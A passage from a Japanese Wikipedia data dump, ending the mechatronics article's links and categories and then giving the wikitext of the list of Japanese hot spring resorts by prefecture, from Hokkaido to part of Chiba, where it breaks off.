**[http://www.mech.tohoku-gakuin.ac.jp/rde/contents/sendai/mechatro/archive/RMSeminar_No01_s8.pdf ロボット・メカトロニクスの基礎] - ロボット博士の基礎からのメカトロニクスセミナー 第1回(仙台市産業振興事業団)
* [https://www.gicho.co.jp/mechatronics/ メカトロニクス最新号] - Gichoビジネスコミュニケーションズ
* [http://www.jidoka.net/ttam/index.html メカトロニクス技術者試験(初級)のご案内] - [[自動化推進協会]]
* [https://www.jsme.or.jp/rmd/ ロボティクス・メカトロニクス部門] - [[一般社団法人]][[日本機械学会]]
* [http://www.nskfam.or.jp/ 公益財団法人NSKメカトロニクス高度化財団]
{{Engineering fields}}
{{Automation protocols}}
{{Normdaten}}
{{デフォルトソート:めかとろにくす}}
[[category:和製英語]]
[[Category:制御工学]]
[[Category:ロボット工学]]
[[Category:安川電機]]
[[Category:登録商標]] | 2003-04-15T13:34:05Z | 2023-10-08T00:29:18Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%83%A1%E3%82%AB%E3%83%88%E3%83%AD%E3%83%8B%E3%82%AF%E3%82%B9 |
6,774 | 日本の温泉地一覧 | 日本の温泉地一覧(にほんのおんせんちいちらん)では、「温泉法」にかなう温泉地のうち、記事化されているもの、および記事化される見込みの高いものを挙げる。
温泉街あるいは「温泉法」については温泉を参照のこと。
(延岡・日向・門川・西都・児湯郡(西米良村を除く))
(西臼杵郡・東臼杵郡(門川町を除く)・西米良)
(宮崎・東諸県郡・日南・串間)
(都城・小林・えびの・高原・三股) | [
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| 日本の温泉地一覧(にほんのおんせんちいちらん)では、「温泉法」にかなう温泉地のうち、記事化されているもの、および記事化される見込みの高いものを挙げる。 温泉街あるいは「温泉法」については温泉を参照のこと。 | '''日本の温泉地一覧'''(にほんのおんせんちいちらん)では、「[[温泉法]]」にかなう温泉地のうち、記事化されているもの、および記事化される見込みの高いものを挙げる。
[[温泉街]]あるいは「温泉法」については[[温泉]]を参照のこと。
__NOTOC__
<table id="toc" class="toc" summary="目次">
<tr>
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==目次==
</div>
[[#北海道|北海道]] -
[[#青森県|青森県]] -
[[#岩手県|岩手県]] -
[[#宮城県|宮城県]] -
[[#秋田県|秋田県]] -
[[#山形県|山形県]] -
[[#福島県|福島県]] -
[[#茨城県|茨城県]] -
[[#栃木県|栃木県]] -
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[[#埼玉県|埼玉県]] -
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[[#東京都|東京都]] -
[[#神奈川県|神奈川県]] -
[[#新潟県|新潟県]] -
[[#富山県|富山県]] -
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[[#福井県|福井県]] -
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[[#長野県|長野県]] -
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[[#鳥取県|鳥取県]] -
[[#島根県|島根県]] -
[[#岡山県|岡山県]] -
[[#広島県|広島県]] -
[[#山口県|山口県]] -
[[#徳島県|徳島県]] -
[[#香川県|香川県]] -
[[#愛媛県|愛媛県]] -
[[#高知県|高知県]] -
[[#福岡県|福岡県]] -
[[#佐賀県|佐賀県]] -
[[#長崎県|長崎県]] -
[[#熊本県|熊本県]] -
[[#大分県|大分県]] -
[[#宮崎県|宮崎県]] -
[[#鹿児島県|鹿児島県]] -
[[#沖縄県|沖縄県]] -
[[#関連項目|関連項目]]
</td>
</tr>
</table>
==北海道==
===宗谷地方===
{{div col|cols=4}}
*[[礼文島温泉]]
*[[利尻ふれあい温泉]]
*[[利尻富士温泉]]
*[[稚内温泉]]
*[[豊富温泉]]
*[[さるふつ温泉]]
*[[浜頓別温泉]]
*[[枝幸温泉]]
*[[歌登温泉]]
*[[ピンネシリ温泉]]
{{div col end}}
===留萌地方===
{{div col|cols=4}}
*[[天塩温泉]]
*[[旭温泉 (北海道)|旭温泉]]
*[[羽幌温泉]]
*[[苫前温泉]]
*[[初山別温泉]]
*[[神居岩温泉]]
*[[岩尾温泉]]
{{div col end}}
===上川地方===
{{div col|cols=4}}
*[[ぽんぴら温泉]]
*[[天塩川温泉]]
*[[びふか温泉]]
*[[五味温泉]]
*[[協和温泉]]
*[[愛山渓温泉]]
*[[旭岳温泉]]
*[[中岳温泉]]
*[[有毒温泉]]
*[[天人峡温泉]]
*[[白金温泉|{{ruby|白金|しろがね}}温泉]]
*[[吹上温泉 (北海道)|吹上温泉]]
*[[十勝岳温泉]]
*[[フラヌイ温泉]]
*[[層雲峡温泉|{{ruby|層雲峡|そううんきょう}}温泉]]
*[[大雪高原温泉]]
{{-}}<div>[[ファイル:Nakadake hotspring daisetuzan01.jpg|thumb|left|200x200px|中岳温泉露天風呂]]</div>
{{div col end}}
===オホーツク地方===
{{div col|cols=4}}
*[[オホーツクオムイ温泉]]
*[[かみゆうべつ温泉]]
*[[網走湖畔温泉]]
*[[瀬戸瀬温泉]]
*[[丸瀬布温泉]]
*[[北見温泉]]
*[[温根湯温泉|{{ruby|温根湯|おんねゆ}}温泉]]
*[[滝の湯温泉]]
*[[カムイワッカ湯の滝]]
*[[岩尾別温泉]]
*[[ウトロ温泉]]
*[[清里温泉]]
{{div col end}}
===根室地方===
{{div col|cols=4}}
*[[瀬石温泉]]
*[[相泊温泉]]
*[[羅臼温泉|{{ruby|羅臼|らうす}}温泉]]
*[[川北温泉]]
*[[養老牛温泉]]
*[[尾岱沼温泉]]
{{div col end}}
===釧路地方===
{{div col|cols=4}}
*[[摩周温泉]]
*[[川湯温泉 (北海道)|川湯温泉]]
*[[屈斜路湖畔温泉郷]]
**[[屈斜路湖畔温泉郷#温泉|仁伏温泉]]
**[[屈斜路湖畔温泉郷#温泉|屈斜路湖畔温泉]]
**[[屈斜路湖畔温泉郷#温泉|池の湯温泉]]
**[[コタン温泉]]
**[[三香温泉]]
**[[和琴温泉]]
*[[阿寒湖温泉]]
*[[雌阿寒温泉]]
*[[オーロラ温泉]]
*[[霧多布温泉]]
{{div col end}}
===十勝地方===
{{div col|cols=4}}
*[[芽登温泉]]
*[[幌加温泉]]
*[[ぬかびら温泉]](糠平温泉)
*[[山田温泉 (北海道)|山田温泉]]
*[[然別湖畔温泉]]
*[[菅野温泉]]
*[[鹿の湯]]
*[[トムラウシ温泉]]
*[[ヌプントムラウシ温泉]]
*[[オソウシ温泉]]
*[[しほろ温泉]]
*[[十勝川温泉]]
*[[留真温泉]]
*[[幕別温泉]]
*[[晩成温泉]]
*[[ナウマン温泉]]
{{-}}<div>[[ファイル:Hot spring River in the Kawayu spa.jpg|thumb|left|200x200px|川湯温泉]]</div>
{{-}}<div>[[ファイル:Outdoor bath of the Kotan hot spring.jpg|thumb|left|200x200px|コタン温泉]]</div>
{{div col end}}
===空知地方===
{{div col|cols=4}}
*[[芦別温泉]]
*[[北竜温泉]]
*[[南幌温泉]]
*[[妹背牛温泉]]
*[[江部乙温泉]]
*[[ほろしん温泉]]
*[[秩父別温泉]]
*[[ながぬま温泉]]
*[[由仁温泉]]
{{div col end}}
===石狩地方===
{{div col|cols=4}}
*[[定山渓温泉|{{ruby|定山渓|じょうざんけい}}温泉]]
*[[小金湯温泉]]
*[[豊平峡温泉]]
*[[薄別温泉]]
*[[恵庭温泉]]
*[[丸駒温泉]]
*[[支笏湖いとう温泉]]
*[[支笏湖温泉]]
*[[竹山高原温泉]]
{{div col end}}
===日高地方===
{{div col|cols=4}}
*[[沙流川温泉]]
*[[平取温泉]]
*[[みついし昆布温泉 蔵三]]
*[[静内温泉]]
*[[新冠温泉]]
*[[門別温泉]]
{{div col end}}
===後志地方===
{{div col|cols=4}}
*[[積丹温泉]]
*[[珊内ぬくもり温泉]]
*[[神恵内温泉]]
*[[朝日温泉 (北海道)|朝日温泉]]
*[[雷電温泉]]
*[[盃温泉]]
*[[朝里川温泉]]
*[[いわない温泉 (北海道)|いわない温泉]]
*[[ニセコ温泉郷]]
**[[五色温泉 (北海道)|五色温泉]]
**[[昆布川温泉]]
**[[ニセコアンヌプリ温泉]]
**[[ニセコ駅前温泉]]
**[[ニセコ昆布温泉]]
**[[ニセコ新見温泉]]
**[[ニセコ東山温泉]]
**[[ニセコ薬師温泉]]
**[[ニセコ湯本温泉]]
**[[黄金温泉 (北海道)|黄金温泉]]
*[[ふるっぷ温泉]]
*[[京極温泉]]
*[[真狩温泉]]
*[[川上温泉 (北海道)|川上温泉]]
*[[留寿都温泉]]
*[[黒松内温泉]]
*[[寿都温泉]]
*[[宮内温泉]]
*[[千走川温泉]]
*[[モッタ海岸温泉]]
{{div col end}}
===胆振地方===
{{div col|cols=4}}
*[[奥洞爺温泉郷]]
**[[壮瞥温泉]]
**[[蟠渓温泉]]
**[[北湯沢温泉]]
*[[道の駅むかわ四季の館|むかわ温泉]]
*[[樹海温泉]]
*[[鶴の湯温泉 (北海道)|鶴の湯温泉]]
*[[しらかば温泉 (北海道)|しらかば温泉]]
*[[樽前温泉]]
*[[白老温泉]]
*[[虎杖浜温泉|{{ruby|虎杖浜|こじょうはま}}温泉]]
*[[登別温泉|{{ruby|登別|のぼりべつ}}温泉]]
*[[カルルス温泉]]
*[[川又温泉]]
*[[楽々温泉]]
*[[弁景温泉]]
*[[洞爺温泉]]
*[[仲洞爺温泉]]
*[[財田温泉]]
*[[洞爺月浦温泉]]
*[[洞爺湖温泉]]
*[[伊達温泉]]
*[[豊浦温泉]]
{{-}}<div>[[ファイル:Noboribetsu hot spring resort01.JPG|thumb|left|200x200px|登別温泉]]</div>
{{div col end}}
===檜山地方===
{{div col|cols=4}}
*[[奥美利河温泉]]
*[[美利河温泉]]
*[[神威脇温泉]]
*[[貝取澗温泉|{{ruby|貝取澗|かいとりま}}温泉]]
*[[湯ノ岱温泉 (北海道)|湯ノ岱温泉]]
{{div col end}}
===渡島地方===
{{div col|cols=4}}
*[[長万部温泉]]
*[[二股ラヂウム温泉]]
*[[濁川温泉]]
*[[八雲温泉 (北海道)|八雲温泉]]
*[[桜野温泉]]
*[[上の湯温泉]]
*[[平田内温泉]]
*[[見市温泉]]
*[[鹿部温泉]]
*[[川汲温泉|{{ruby|川汲|かっくみ}}温泉]]
*[[大船温泉]]
*[[水無海浜温泉]]
*[[流山温泉]]
*[[湯の川温泉 (北海道)|湯の川温泉]]
*[[谷地頭温泉]]
*[[知内温泉]]
{{div col end}}
==青森県==
===津軽地方===
{{div col|cols=4}}
*[[嶽温泉|{{ruby|嶽|だけ}}温泉]]
*[[百沢温泉]]
*[[湯段温泉]]
*[[境関温泉]]
*[[黒石温泉郷]]
**[[温湯温泉 (青森県)|温湯温泉]]
**[[落合温泉]]
**[[板留温泉]]
**[[青荷温泉|{{ruby|青荷|あおに}}おんせん]]
*[[大鰐温泉]]
*[[高増温泉]]
*[[平賀温泉郷]]
**[[唐竹温泉]]
**[[大坊温泉]]
**[[温川温泉 (青森県)|温川温泉]]
**[[南田温泉]]
*[[碇ヶ関温泉郷]]
**[[古遠部温泉]]
**[[秋元温泉|湯の沢温泉]]
**[[道の駅いかりがせき|関の庄温泉]]
**[[秋元温泉]]
**[[相乗温泉]]
*[[浅虫温泉]]
*[[酸ヶ湯|{{ruby|酸ヶ湯|すかゆ}}温泉]]
*[[城ヶ倉温泉]]
*[[八甲田温泉]]
*[[荒川温泉 (青森県)|荒川温泉]]
*[[たらポッキ温泉]]
*[[三内温泉]]
*[[浪岡温泉]]
*[[黄金崎不老不死温泉]]
*[[みちのく温泉]]
*[[平舘不老不死温泉]]
*[[竜飛崎温泉]]
*[[小泊温泉]]
*[[稲垣温泉]]
{{-}}<div>[[ファイル:Owani Onsen Owani Aomori pref Japan01s3.jpg|thumb|left|200x200px|大鰐温泉]]</div>
{{-}}<div>[[ファイル:Kaisenkaku Asamushi Onsen Aomori Japan02n.jpg|thumb|left|200x200px|浅虫温泉]]</div>
{{div col end}}
===下北地方・南部地方===
{{div col|cols=4}}
*[[大間温泉]]
*[[桑畑温泉]]
*[[下風呂温泉]]
*[[薬研温泉]]
*[[湯野川温泉]]
*[[恐山温泉]]
*[[むつ矢立温泉]]
*[[馬門温泉|{{ruby|馬門|まかど}}温泉]]
*[[古牧温泉|{{ruby|古牧|こまき}}温泉]]
*[[上北温泉郷]]
*[[五戸まきば温泉]]
*[[奥入瀬渓流温泉]](旧十和田湖温泉郷、十和田市)
**[[焼山温泉 (青森県)|焼山温泉]]
**[[蔦温泉]]
**[[猿倉温泉]]
**[[谷地温泉]]
*[[十和田湖畔温泉]]
*[[田子温泉]](田子町)
*[[福田温泉]](南部町)
{{-}}<div>[[ファイル:Oku-Yagen spa meoto-Kappanoyu.JPG|thumb|left|200x200px|薬研温泉]]</div>
{{-}}<div>[[ファイル:Komaki Onsen Misawa Aomori pref Japan01n.jpg|thumb|left|200x200px|古牧温泉]]</div>
{{div col end}}
==岩手県==
{{div col|cols=4}}
*[[金田一温泉]]
*[[安比温泉]]
*[[松川温泉]]
*[[東八幡平温泉]]
*[[藤七温泉]]
*[[盛岡つなぎ温泉]]
*[[鶯宿温泉|{{ruby|鶯宿|おうしゅく}}温泉]]
*[[国見温泉]]
*[[網張温泉]]
*[[東和温泉]]
*[[湯田温泉峡]]
*[[夏油温泉|{{ruby|夏油|げとう}}温泉]]
*[[花巻温泉郷]]
**[[花巻温泉]]
**[[台温泉]]
**[[松倉温泉]]
**[[志戸平温泉]]
**[[渡り温泉]]
**[[大沢温泉 (岩手県)|大沢温泉]]
**[[山の神温泉 (岩手県)|山の神温泉]]
**[[高倉山温泉]]
**[[鉛温泉]]
**[[新鉛温泉]]
*[[一関温泉郷]]
**[[須川高原温泉]]
**[[真湯温泉]]
*[[姫神温泉]]
*[[雫石プリンスホテル|雫石高倉温泉]]
*[[千貫石温泉]]
*[[矢巾温泉]]
*[[永岡温泉]]
*[[南網張ありね温泉]]
*[[あづまね温泉]]
{{-}}<div>[[ファイル:Toshichi Onsen in Towada-Hachimantai National Park.jpg|thumb|left|200x200px|藤七温泉]]</div>
{{-}}<div>[[ファイル:Getou.jpg|thumb|left|200x200px|夏油温泉]]</div>
{{div col end}}
==宮城県==
{{div col|cols=4}}
*[[秋保温泉|{{ruby|秋保|あきう}}温泉]]
*[[作並温泉]]
*[[鳴子温泉郷]]
**[[鳴子温泉]]
**[[東鳴子温泉]]
**[[川渡温泉|{{ruby|川渡|かわたび}}温泉]]
**[[中山平温泉]]
**[[鬼首温泉|{{ruby|鬼首|おにこうべ}}温泉]]
*[[かもしか温泉 (宮城県)|かもしか温泉]]
*[[温湯温泉 (宮城県)|温湯温泉]]
*[[湯浜温泉]]
*[[みやぎ蔵王温泉郷]]
**[[小原温泉]]
**[[鎌先温泉]]
**[[白石湯沢温泉]]
**[[遠刈田温泉|{{ruby|遠刈田|とおがった}}温泉]]
**[[青根温泉]]
**[[峩々温泉|{{ruby|峩々|がが}}温泉]]
*[[二口温泉]]
*[[定義温泉|{{ruby|定義|じょうげ}}温泉]]
*[[松島温泉 (宮城県)|松島温泉]]
*[[女川温泉]]
*[[台ヶ森温泉]]
*[[沢乙温泉]]
*[[笹谷温泉]]
*[[追分温泉]]
*[[南三陸ホテル観洋|南三陸温泉]]
*[[鎌倉温泉]]
*[[くりこま高原温泉郷]]
<div>[[ファイル:Naruko_Spa_distant_view.jpg|thumb|left|200x200px|鳴子温泉]]</div>
{{div col end}}
==秋田県==
{{div col|cols=4}}
*[[乳頭温泉郷]]
**[[鶴の湯温泉 (秋田県)|鶴の湯温泉]]
**[[大釜温泉]]
**[[妙乃湯温泉]]
**[[蟹場温泉|{{ruby|蟹場|がにば}}温泉]]
**[[孫六温泉]]
**[[黒湯温泉]]
*[[八幡平温泉郷]]
**[[玉川温泉 (秋田県)|玉川温泉]]
**[[後生掛温泉|{{ruby|後生掛|ごしょうがけ}}温泉]]
**[[蒸ノ湯温泉|{{ruby|蒸ノ湯|ふけのゆ}}温泉]]
**[[大深温泉]]
*[[田沢湖高原温泉郷]]
*[[水沢温泉郷]]
*[[夏瀬温泉]]
*[[大湯温泉 (鹿角市)|大湯温泉]]
*[[湯瀬温泉]]
*[[日景温泉]]
*[[矢立温泉]]
*[[道の駅やたて峠|矢立峠温泉]]
*[[男鹿温泉郷]]
*[[森岳温泉]]
*[[秋田温泉]]
*[[滝温泉]]
*[[かすみ温泉]]
*[[湯ノ岱温泉 (秋田県)|湯ノ岱温泉]]
*[[象潟温泉]]
*[[仁賀保温泉]]
*[[大滝温泉 (秋田県)|大滝温泉]]
*[[大葛温泉]]
*[[強首温泉郷]]
*[[猿倉温泉 (由利本荘市)|猿倉温泉]]
*[[秋ノ宮温泉郷]]
**[[鷹の湯温泉]]
*[[泥湯温泉]]
*[[小安峡温泉]]
*[[大湯温泉 (湯沢市)|大湯温泉]]
*[[須川温泉]]
*[[道の駅おおうち|大内ぽぽろっこ温泉]]
*[[道の駅岩城|岩城温泉]]
*[[上畑温泉]]
*[[船沢温泉]]
*[[雪沢温泉]]
*[[岩倉温泉]]
*[[唐松温泉]]
*[[山の手温泉]]
*[[横手駅前温泉]]
*[[十和田湖畔温泉]]
*[[八森いさりび温泉 ハタハタ館|八森いさりび温泉]]
*[[あきた白神温泉]]
*[[湯の沢温泉 (北秋田市)|湯の沢温泉]]
*[[打当温泉]]
*[[雄和ふるさと温泉]]
{{-}}<div>[[ファイル:Tsurunoyu_Hotspring_in_Akita_Pref_Japan_001.JPG|thumb|left|200x200px|鶴の湯温泉]]</div>
{{-}}<div>[[ファイル:Hotspring Tamagawa Akita 02.jpg|thumb|left|200px|玉川温泉]]</div>
{{div col end}}
==山形県==
===村山地方===
{{div col|cols=4}}
*[[銀山温泉]]
*[[碁点温泉]]
*[[天童温泉|{{ruby|天童|てんどう}}温泉]]
*[[東根温泉]]
*[[上山温泉]]
*[[蔵王温泉]]
*[[寒河江温泉]]
*[[黒沢温泉]]
*[[河北温泉]]
*[[月山志津温泉]]
*[[山辺温泉]]
<div>[[ファイル:Ginzan Onsen 2019 no.3.png|thumb|200px|left|温泉街 銀山温泉]]</div>
{{div col end}}
===最上地方===
{{div col|cols=4}}
*[[瀬見温泉]]
*[[赤倉温泉 (山形県)|赤倉温泉]]
*[[肘折温泉|{{ruby|肘折|ひじおり}}温泉]]
*[[今神温泉]]
*[[草薙温泉]]
*[[羽根沢温泉]]
*[[りんご温泉]]
*[[柳川温泉]]
{{div col end}}
===置賜地方===
{{div col|cols=4}}
*[[小野川温泉]]
*[[白布温泉]]
*[[大平温泉]]
*[[滑川温泉]]
*[[姥湯温泉]]
*[[五色温泉 (山形県)|五色温泉]]
*[[赤湯温泉 (山形県)|赤湯温泉]]
*[[新高湯温泉]]
*[[いいで添川温泉]]
{{div col end}}
===庄内地方===
{{div col|cols=4}}
*[[あつみ温泉]]
*[[湯田川温泉]]
*[[由良温泉]]
*[[湯野浜温泉|{{ruby|湯野浜|ゆのはま}}温泉]]
*[[湯ノ田温泉]]
*[[道の駅鳥海|鳥海温泉]]
*[[長沼温泉 (山形県)|長沼温泉]]
*[[松山温泉 (山形県)|松山温泉]]
*[[波渡崎温泉]]
*[[立岩海底温泉]]
*[[湯の瀬温泉 (山形県)|湯の瀬温泉]]
{{-}}<div>[[ファイル:Atsumi-spa-ashiyu01.JPG|thumb|200x200px|left|温泉街 あつみ温泉]]</div>
{{div col end}}
==福島県==
===会津地方===
{{div col|cols=4}}
*[[東山温泉]]
*[[芦ノ牧温泉]]
*[[熱塩温泉|{{ruby|熱塩|あつしお}}温泉]]
*[[日中温泉]]
*[[大塩裏磐梯温泉]]
*[[裏磐梯川上温泉]]
*[[中ノ沢温泉]]
*[[横向温泉]]
*[[沼尻温泉]]
*[[高田温泉]]
*[[新鶴温泉]]
*[[会津本郷温泉]]
*[[柳津温泉]]
*[[西山温泉 (福島県)|西山温泉]]
*[[早戸温泉]]
*[[宮下温泉]]
*[[中川温泉 (福島県)|中川温泉]]
*[[大塩温泉 (福島県)|大塩温泉]]
*[[玉梨温泉]]
*[[昭和温泉 (福島県)|昭和温泉]]
*[[湯野上温泉]]
*[[湯ノ花温泉]]
*[[木賊温泉|{{ruby|木賊|とくさ}}温泉]]
*[[道の駅きらら289|山口温泉]]
*[[小豆温泉]]
*[[さかい温泉]]
*[[深沢温泉]]
*[[檜枝岐温泉|{{ruby|檜枝岐|ひのえまた}}温泉]]
*[[只見温泉]]
*[[渋沢温泉 (福島県)|渋沢温泉]]
*[[中の湯]]
<div>[[ファイル:Hotspring Nicchuu Fukushima 02.jpg|thumb|left|200x200px|日中温泉]]</div>
{{div col end}}
===中通り地方===
{{div col|cols=4}}
*[[飯坂温泉|{{ruby|飯坂|いいざか}}温泉]]
**[[穴原温泉]](奥飯坂)
*[[高湯温泉]]
*[[信夫温泉]]
*[[土湯温泉]]
**[[野地温泉]]
**[[新野地温泉]]
**[[鷲倉温泉]]
**[[幕川温泉]]
**[[赤湯温泉 (福島県)|赤湯温泉]]
*[[微温湯温泉|{{ruby|微湯|ぬるゆ}}温泉]]
*[[岳温泉|{{ruby|岳|だけ}}温泉]]
*[[塩沢温泉]]
*[[くろがね温泉]]
*[[磐梯熱海温泉]]
*[[郡山市内の温泉|郡山温泉郷]]
*[[甲子温泉]]
*[[新甲子温泉]]
*[[二岐温泉|{{ruby|二岐|ふたまた}}温泉]]
*[[岩瀬湯本温泉]]
*[[天栄温泉]]
*[[羽鳥湖温泉]]
*[[母畑・石川温泉郷]]
**[[母畑温泉|{{ruby|母畑|ぼばた}}温泉]]
**[[猫啼温泉|{{ruby|猫啼|ねこなき}}温泉]]
**[[片倉温泉 (福島県)|片倉温泉]]
**[[塩ノ沢温泉 (福島県)|塩ノ沢温泉]]
*[[きつねうち温泉]]
*[[湯岐温泉|{{ruby|湯岐|ゆじまた}}温泉]]
*[[常世温泉|{{ruby|常世|とこよ}}温泉]]
*[[志保の湯温泉]]
<div>[[ファイル:Iizaka Onsen 26-Aug-2018.jpg|thumb|left|200x200px|飯坂温泉]]</div>
{{div col end}}
===浜通り地方===
{{div col|cols=4}}
*[[いわき湯本温泉]]
*[[いわき蟹洗温泉]]
*[[神白温泉|{{ruby|神白|かじろ}}温泉]]
*[[岩井戸温泉 (福島県)|岩井戸温泉]]
*[[ならは羽黒山温泉]]
*[[天神岬温泉]]
*[[新田川温泉]]
*[[相馬松川浦温泉]]
{{div col end}}
==茨城県==
{{div col|cols=4}}
*[[奥久慈温泉郷]]
**[[大子温泉|{{ruby|大子|だいご}}温泉]]
**[[袋田温泉]]
**[[月居温泉]]
*[[川中子温泉]]
*[[塩ノ沢温泉 (茨城県)|塩ノ沢温泉]]
*[[平潟港温泉]]
*[[五浦温泉]]
*[[国民宿舎鵜の岬|鵜の岬温泉]]
*[[湯ノ網温泉]]
*[[大洗温泉]]
*[[潮来水原温泉]]
*[[筑波山温泉]]
*[[磯原温泉]]
*[[横川温泉]]
<div>[[画像:袋田温泉.jpg|thumb|left|200x220px|袋田温泉]]</div>
{{div col end}}
==栃木県==
{{div col|cols=4}}
*[[鬼怒川温泉]]
*[[川治温泉]]
*[[湯西川温泉]]
*[[奥鬼怒温泉郷]]
**[[川俣温泉]]
**[[女夫渕温泉]]
**[[八丁湯]]
**[[加仁湯]]
*[[日光湯元温泉]]
*[[光徳温泉]]
*[[中禅寺温泉]]
*[[篭岩温泉]]
*[[塩原温泉郷]]
**[[大網温泉|{{ruby|大網|おおあみ}}温泉]]
**[[福渡温泉|{{ruby|福渡|ふくわた}}温泉]]
**[[塩釜温泉]]
**[[塩の湯温泉 (栃木県)|塩の湯温泉]]
**[[畑下温泉|{{ruby|畑下|はたおり}}温泉]]
**[[門前温泉]]
**[[古町温泉]]
**[[中塩原温泉]]
**[[上塩原温泉]]
**[[塩原新湯温泉|{{ruby|新湯|あらゆ}}温泉]]
**[[塩原元湯温泉|元湯温泉]]
*[[那須温泉郷]]
**[[板室温泉]]
**[[三斗小屋温泉]]
**[[北温泉]]
**[[大丸温泉]]
**[[弁天温泉]]
**[[八幡温泉]]
**[[那須湯本温泉]]
*[[大沢温泉 (栃木県)|大沢温泉]]
*[[柳沢温泉 (栃木県)|柳沢温泉]]
*[[芦野温泉]]
*[[馬頭温泉郷]]
*[[大田原温泉]]
*[[佐久山温泉]]
*[[黒羽温泉]]
*[[湯津上温泉]]
*[[矢板温泉]]
*[[松島温泉 (栃木県)|松島温泉]]
*[[喜連川温泉]]
*[[小川温泉 (栃木県)|小川温泉]]
*[[早乙女温泉]]
*[[高根沢温泉]]
*[[上河内温泉]]
*[[益子温泉]]
*[[赤見温泉]]
*[[地蔵の湯]]
*[[足尾温泉]]
{{-}}<div>[[ファイル:Kinugawa Onsen-2005-03-21 2.jpg|thumb|left|200x200px|鬼怒川温泉]]</div>
{{-}}<div>[[ファイル:Thermal springs, Yumoto, Nikko National Park, Tochigi, Japan.jpg|thumb|left|200x200px|日光湯元温泉]]</div>
{{div col end}}
==群馬県==
{{div col|cols=4}}
*[[四万温泉]](日向見温泉)
*[[川中温泉]](三大美人湯)
*[[松ノ湯温泉]]
*[[沢渡温泉 (群馬県)|{{ruby|沢渡|さわたり}}温泉]]<span style="font-size:90%;">長野県の沢渡温泉と混同注意</span>
*[[川原湯温泉]]
*[[草津温泉]]
*[[万座温泉]]
*[[鹿沢温泉|{{ruby|鹿沢|かざわ}}温泉]]
*[[つま恋温泉]]
*[[嬬恋温泉]]
*[[嬬恋バラギ温泉]]
*[[奥嬬恋温泉]]
*[[半出来温泉]]
*[[平治温泉]]
*[[鬼押温泉]]
*[[赤岩温泉 (群馬県)|赤岩温泉]]
*[[京塚温泉]]
*[[花敷温泉]]
*[[尻焼温泉]]
*[[湯の平温泉]]
*[[霧積温泉]]
*[[吉井温泉 (群馬県)|吉井温泉]]
*[[塩ノ沢温泉 (群馬県)|塩ノ沢温泉]]
*[[伊香保温泉]]
*[[榛名湖温泉]]
*[[水上温泉郷]]
**[[水上温泉]]
**[[上牧温泉|{{ruby|上牧|かみもく}}温泉]]
**[[奈女沢温泉|{{ruby|奈女沢|なめさわ}}温泉]]
**[[水上温泉郷#湯の小屋温泉|湯の小屋温泉]]
**[[水上高原リゾート200|上の原温泉]]
**[[水上温泉郷#宝川温泉|宝川温泉]]
**[[水上温泉郷#湯檜曽温泉|湯檜曾温泉]]
**[[水上温泉郷#うの瀬温泉|鵜の瀬温泉]]
**[[水上温泉郷#谷川温泉|谷川温泉]]
*[[老神温泉]]
*[[片品温泉郷]]
**[[鎌田温泉]]
**[[片品温泉]]
**[[尾瀬戸倉温泉]]
**[[幡谷温泉]]
**[[丸沼温泉]]
*[[川場温泉郷]]
**[[川場温泉]]
**[[小住温泉]]
**[[武尊温泉]]
**[[桜川温泉]]
**[[塩河原温泉]]
**[[宮山温泉]]
*[[白沢高原温泉]]
*[[みくに温泉郷]]
**[[猿ヶ京温泉]]
**[[湯宿温泉]]
**[[川古温泉]]
**[[法師温泉]]
*[[赤城温泉郷]]
**[[赤城温泉郷#赤城温泉郷の各温泉|赤城温泉]]
**[[赤城温泉郷#赤城温泉郷の各温泉|赤城高原温泉]]
**[[赤城温泉郷#赤城温泉郷の各温泉|忠治温泉]]
*[[敷島温泉]]
*[[磯部温泉]]
*[[三福温泉]]
*[[藪塚温泉]]
*[[五色温泉 (群馬県)|五色温泉]]
*[[梨木温泉]]
*[[林温泉]]
*[[浅間隠温泉郷]]
**[[薬師温泉]]
**[[鳩の湯温泉]]
**[[温川温泉 (群馬県)|温川温泉]]
*[[湯端温泉]]
*[[高山温泉]]
*[[相間川温泉]]
*[[大塚温泉]]
*[[応徳温泉]]
{{-}}<div>[[ファイル:Kusatsu-yumomi 2004.jpg|thumb|left|200x200px|草津温泉]]</div>
{{-}}<div>[[ファイル:Ikaho Onsen 02.jpg|thumb|left|200x200px|伊香保温泉]]</div>
{{div col end}}
==埼玉県==
{{div col|cols=4}}
*[[秩父温泉]]
*[[奥秩父鉱泉郷]]
**[[日野温泉 (埼玉県)|日野温泉]]
**[[白久温泉]]([[秩父七湯]])
**[[柴原温泉]](秩父七湯)
*[[秩父高篠鉱泉郷]]
**[[新木鉱泉]](秩父七湯)
**[[不動の湯]]
**[[和銅鉱泉]]
**[[美やま温泉]]
**[[山田温泉 (埼玉県)|山田温泉]]
*[[大滝温泉 (埼玉県)|大滝温泉]]
*<!-- [[巴川温泉郷]] -->
*[[武甲温泉]]
*<!-- [[秩父川端温泉]] -->
*<!-- [[小鹿野温泉]] -->
*[[両神温泉]]
*[[名栗温泉]]
*[[サイボク天然温泉]]
*[[小川温泉 (埼玉県)|小川温泉]]
*[[玉川温泉 (埼玉県)|玉川温泉]]
*[[都幾川温泉]]
*[[さいたま清河寺温泉]]
*<!-- [[行田温泉]] -->
*[[湯楽の里#店舗|北本温泉]]
*[[百穴温泉]]
*[[四季の湯温泉]]
*<!-- [[こだま温泉]] -->
*[[神流川温泉]]
*[[百観音温泉]]
*<!-- [[かすかべ湯元温泉]] -->
*[[越谷温泉]]
*[[吉川温泉 (埼玉県)|吉川温泉]]
*<!-- [[神川温泉]] -->
<div>[[ファイル: Saitama-SeiganjiOnsen.jpg|thumb|left|200x200px|さいたま清河寺温泉]]</div>
{{div col end}}
==千葉県==
===南房総地方===
{{div col|cols=4}}
*南房総温泉郷([[南房総市]])
**[[白浜温泉 (千葉県)|白浜温泉郷]]
***白浜温泉
***白浜飯田屋温泉
***白浜野嶋温泉
***白浜女来島温泉
***白浜湯元温泉
***元湯白浜温泉
***南房総白浜温泉
***へいすけ温泉
**[[千倉温泉|千倉温泉郷]]
***千倉温泉
***千倉海岸温泉
***千倉海底温泉
***千倉瀬戸浜温泉
***千倉元湯温泉
***しあわせ温泉
**[[南房総岩井温泉|南房総岩井温泉郷]]
***岩井湯元温泉
***弁天温泉
*[[たてやま温泉郷]]([[館山市]])
**石塚温泉
**吉祥龍神の湯温泉
**古原屋の湯温泉
**サンランド温泉
**しおさい温泉
**館山湯元温泉
**不老山薬師温泉
**南館山温泉
*[[養老渓谷温泉]]([[市原市]]・[[大多喜町]])
**栗又温泉
*[[勝浦温泉|勝浦温泉郷]]([[勝浦市]])
**勝浦温泉
